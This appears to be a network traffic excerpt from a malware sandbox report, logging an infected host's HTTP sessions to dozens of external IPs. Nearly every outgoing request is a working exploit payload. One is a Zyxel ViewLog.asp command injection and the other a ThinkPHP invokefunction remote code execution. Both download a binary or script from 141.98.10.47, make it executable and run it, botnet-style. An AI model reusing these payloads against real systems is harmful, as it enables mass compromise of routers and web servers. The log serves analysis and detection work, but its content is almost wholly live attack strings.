Dec 26, 2023 21:26:05.585763931 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
637	192.168.2.23	36906	94.110.152.132	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:26:05.585813999 CET	326	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:26:06.470083952 CET	326	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
638	192.168.2.23	38800	85.192.171.5	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:26:05.602473974 CET	326	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
639	192.168.2.23	50438	94.122.48.197	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:26:05.896188021 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
640	192.168.2.23	60984	94.110.144.141	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:26:06.147783041 CET	326	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
641	192.168.2.23	35446	94.123.244.26	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:26:06.175246954 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
642	192.168.2.23	37120	85.206.84.136	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:26:06.192250967 CET	326	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
643	192.168.2.23	46064	95.168.184.21	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:26:06.794281960 CET	319	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:26:07.022600889 CET	490	IN	HTTP/1.1 400 Bad Request Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Tue, 26 Dec 2023 20:26:06 GMT Connection: close Content-Length: 311 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 30 2e 20 54 68 65 20 72 65 71 75 65 73 74 20 69 73 20 62 61 64 6c 79 20 66 6f 72 6d 65 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Bad Request</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Bad Request</h2><hr><p>HTTP Error 400. The request is badly formed.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
644	192.168.2.23	51150	95.216.222.147	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:26:06.834986925 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:26:07.107923985 CET	115	IN	HTTP/1.1 400 Bad Request Content-Type: text/plain; charset=utf-8 Connection: close Data Raw: 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 Data Ascii: 400 Bad Request

Session ID	Source IP	Source Port	Destination IP	Destination Port
645	192.168.2.23	58404	95.104.56.90	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:26:06.864828110 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:26:07.182848930 CET	21	IN	HTTP/1.1 Data Raw: Data Ascii:
Dec 26, 2023 21:26:07.183501005 CET	1286	IN	Data Raw: 35 30 31 20 4e 6f 74 20 49 6d 70 6c 65 6d 65 6e 74 65 64 0d 0a 53 65 72 76 65 72 3a 20 52 6f 75 74 65 72 20 57 65 62 73 65 72 76 65 72 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 57 57 57 2d 41 75 74 68 65 6e 74 69 63 61 74 65 Data Ascii: 501 Not ImplementedServer: Router WebserverConnection: closeWWW-Authenticate: Basic realm="TP-LINK Wireless N Router WR841N"Content-Type: text/html<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.or
Dec 26, 2023 21:26:07.183576107 CET	605	IN	Data Raw: 64 2e 20 54 68 65 20 64 65 66 61 75 6c 74 20 75 73 65 72 6e 61 6d 65 20 61 6e 64 20 70 61 73 73 77 6f 72 64 20 61 72 65 20 62 6f 74 68 20 73 65 74 20 61 73 20 3c 42 3e 26 71 75 6f 74 3b 61 64 6d 69 6e 26 71 75 6f 74 3b 3c 2f 42 3e 2e 3c 42 52 3e Data Ascii: d. The default username and password are both set as <B>"admin"</B>.<BR> <B><FONT color=#ee0000>Note: The settings will be restored to factory default after the resetting.</FONT></B></P> <P><B><FONT size="4">How to restor

Session ID	Source IP	Source Port	Destination IP	Destination Port
646	192.168.2.23	44750	95.101.199.168	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:26:07.087682009 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:26:07.337143898 CET	480	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 258 Expires: Tue, 26 Dec 2023 20:26:07 GMT Date: Tue, 26 Dec 2023 20:26:07 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 68 74 74 70 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 26 23 33 37 3b 35 62 4e 6f 26 23 33 37 3b 32 30 48 6f 73 74 26 23 33 37 3b 35 64 26 23 34 37 3b 69 6e 64 65 78 26 23 34 36 3b 70 68 70 26 23 36 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 31 62 37 37 31 33 30 32 26 23 34 36 3b 31 37 30 33 36 32 32 33 36 37 26 23 34 36 3b 38 39 38 33 31 32 36 32 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "http://%5bNo%20Host%5d/index.php?", is invalid.<p>Reference #9.1b771302.1703622367.89831262</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
647	192.168.2.23	53168	95.216.77.166	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:26:07.107431889 CET	319	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:26:07.376162052 CET	327	IN	HTTP/1.1 400 Bad Request Server: nginx/1.18.0 (Ubuntu) Date: Tue, 26 Dec 2023 20:26:07 GMT Content-Type: text/html Content-Length: 166 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
648	192.168.2.23	55562	95.237.224.65	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:26:07.190917969 CET	319	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:26:10.699732065 CET	138	IN	HTTP/1.1 400 Bad Request Content-Length: 16 Content-Type: text/plain Connection: close X-Frame-Options: SAMEORIGIN Data Raw: 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 0a Data Ascii: 400 Bad Request

Session ID	Source IP	Source Port	Destination IP	Destination Port
649	192.168.2.23	58734	95.56.220.55	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:26:07.347332954 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:26:07.673223972 CET	29	IN	HTTP/1.1 200 OK
Dec 26, 2023 21:26:07.674083948 CET	515	IN	Data Raw: 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 50 72 61 67 6d 61 3a 20 6e 6f 2d 63 61 63 68 65 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 Data Ascii: Connection: closePragma: no-cacheCache-Control: no-cacheContent-Type: text/html; charset=utf-8<!DOCTYPE html PUBLIC "-//W3C//Dtd XHTML 1.0 Strict//EN" "http://www.w3.org/tr/xhtml1/Dtd/xhtml1-Transitional.dtd"><html xmlns="http://www

Session ID	Source IP	Source Port	Destination IP	Destination Port
650	192.168.2.23	57346	94.120.99.3	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:26:10.208369017 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
651	192.168.2.23	44746	31.136.211.172	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:26:10.456877947 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:26:11.205338955 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:26:12.709144115 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:26:15.940716982 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
652	192.168.2.23	58002	85.130.80.248	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:26:10.497289896 CET	326	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:26:11.941312075 CET	326	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:26:12.216125011 CET	561	IN	HTTP/1.1 404 Not Found Access-Control-Allow-Origin: * Access-Control-Allow-Headers: Content-Type Content-Type: text/html Content-Length: 345 Date: Tue, 26 Dec 2023 20:26:10 GMT Server: WebServer Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 69 73 6f 2d 38 38 35 39 2d 31 22 3f 3e 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 0a 20 20 20 20 20 20 20 20 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 74 72 61 6e 73 69 74 69 6f 6e 61 6c 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 3c 68 65 61 64 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 3c 2f 68 65 61 64 3e 0a 20 3c 62 6f 64 79 3e 0a 20 20 3c 68 31 3e 34 30 34 20 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 20 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <?xml version="1.0" encoding="iso-8859-1"?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <title>404 - Not Found</title> </head> <body> <h1>404 - Not Found</h1> </body></html>
Dec 26, 2023 21:26:16.586431026 CET	561	IN	HTTP/1.1 404 Not Found Access-Control-Allow-Origin: * Access-Control-Allow-Headers: Content-Type Content-Type: text/html Content-Length: 345 Date: Tue, 26 Dec 2023 20:26:10 GMT Server: WebServer Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 69 73 6f 2d 38 38 35 39 2d 31 22 3f 3e 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 0a 20 20 20 20 20 20 20 20 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 74 72 61 6e 73 69 74 69 6f 6e 61 6c 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 3c 68 65 61 64 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 3c 2f 68 65 61 64 3e 0a 20 3c 62 6f 64 79 3e 0a 20 20 3c 68 31 3e 34 30 34 20 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 20 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <?xml version="1.0" encoding="iso-8859-1"?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <title>404 - Not Found</title> </head> <body> <h1>404 - Not Found</h1> </body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
653	192.168.2.23	55282	31.200.67.63	8080

Timestamp	Bytes transferred	Direction	Data
